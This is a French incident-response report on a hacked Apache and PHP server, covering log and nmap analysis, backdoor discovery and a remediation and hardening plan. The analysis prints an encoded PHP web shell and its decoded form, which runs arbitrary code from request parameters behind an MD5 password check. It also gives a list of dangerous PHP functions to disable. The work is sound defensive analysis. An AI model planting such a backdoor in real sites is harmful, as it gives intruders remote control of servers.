Procédure de recherche
- Analyse des logs (/var/log)
- Identification d'un accès sur une backdoor (compat.php)
- Analyse du code de cette backdoor
- Accès authentifié par mot de passe
- Code de la backdoor mis dans fonction gzinflate(base64_decode(*)) dans le fichier compat.php
- Analyse de la backdoor (décodage grâce à http://www.decoder-online.com)
- Mot de passe MD5 : ff6cb56b876eedf90b5bca2c0a210f91
- Analyse nmap de l'extérieur :
Not shown: 999 open|filtered ports, 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.2
80/tcp open http Apache httpd 2.2.8 ((Unix) PHP/5.2.5)
|_http-favicon: Unknown favicon MD5: 3AD8FECBDE088AF038C26EE5A5F40D5B
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: Site doesn't have a title (text/html).
8080/tcp closed http-proxy
4672/udp closed rfa
Analyse des logs (/var/log/secure)
Récupération des localisations via : http://www.iplocation.net/index.php
La "porte dérobée" ou backdoor
Donne un accès total sur le serveur avec la liste des exploits connus, les accès systèmes ainsi que la liste des fonctions désactivées sous PHP
Dans /var/www :
grep -R * -e 'gzipinflate(base64'
Cette commande a renvoyé 6 fichiers présents sur le serveur contenant une copie de la backdoor.
Côté système
Vieille version du système d'exploitation, aucune mise à jour récente
Version d'apache obsolète 2.0.52 (24 mai 2006)
Pour aller plus loin
Utilisez un outil de détection de RootKits tel que chkrootkit
Lancement de Web Shell Detector ( https://github.com/emposha/PHP-Shell-Detector)
- Plusieurs codes malicieux découverts
- Type de code encodé en base 64 :
eval(base64_decode('aWYoaXNzZXQoJF9SRVFVRVNUWydjaCddKSAmJiAobWQ1KCRfUkVRVUVTVFsnY2gnXSkgPT0gJzc0MjUzYjUxNjIzNmI1ZmZiZTM1NzFlM2I5MTNiMzZhJykgJiYgaXNzZXQoJF9SRVFVRVNUWydwaHBfY29kZSddKSkgeyBldmFsKCRfUkVRVUVTVFsncGhwX2NvZGUnXSk7IGV4aXQoKTsgfQ=='));
Ce qui donne :
if(isset($_REQUEST['ch']) && (md5($_REQUEST['ch']) == '74253b516236b5ffbe3571e3b913b36a') && isset($_REQUEST['php_code'])) { eval($_REQUEST['php_code']); exit(); }
Informations intéressantes à ce sujet :
http://aw-snap.info/articles/backdoor-examples.php
Plan d'actions d'urgence préconisé
- Bloquer l'accès au serveur (via FTP, etc) et n'accorder que le port 80 ou 443
- Bloquer les accès depuis IP suspicieuses
- Faire un grep (sur base64_decode et gzip_inflate) sur tout le serveur et supprimer les scripts dangereux
- Réinstaller un serveur
- avec un apache récent (et mis à jour automatiquement)
- avec kernel récent
- Si vraiment nécessaire : accès ftps (ou sftp) chrooté avec politique et modification des mots de passe
- avec sauvegarde automatique du DocumentRoot sur un svn (permet de voir les diffs en cas de soucis)
- Supprimer les commandes systèmes jugées "dangereuses" via yum remove ou rm pour make (à cause de dépendances) :
- gcc, make, nc
- Désactiver les fonctions PHP "dangereuses" comme "eval" dans php.ini:
- disable_functions=exec,eval,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Mise en place d'une nouvelle architecture sécurisée
- Installation d'un reverse proxy Apache ou Nginx (au choix) en DMZ
- Installation serveur final avec mod_security et/ou mod_evasive
- Accès FTP en mode reverse proxy via Pydio (anciennement ajaxplorer)
Installation de Linux Malware Detect
chmod +x install.php
./install.php
#MAJ signatures
maldet -u
#MAJ programme
maldet -p
#Detection dans /var/www
maldet -a /var/www/
#Analyse du rapport
maldet --report
#Nettoyage fichiers du rapport 100713-1111.16205
maldet --clean 100713-1111.16205
Planification automatique des rapports maldet et envoi par email en cas de détection de Rootkit ou Web Shell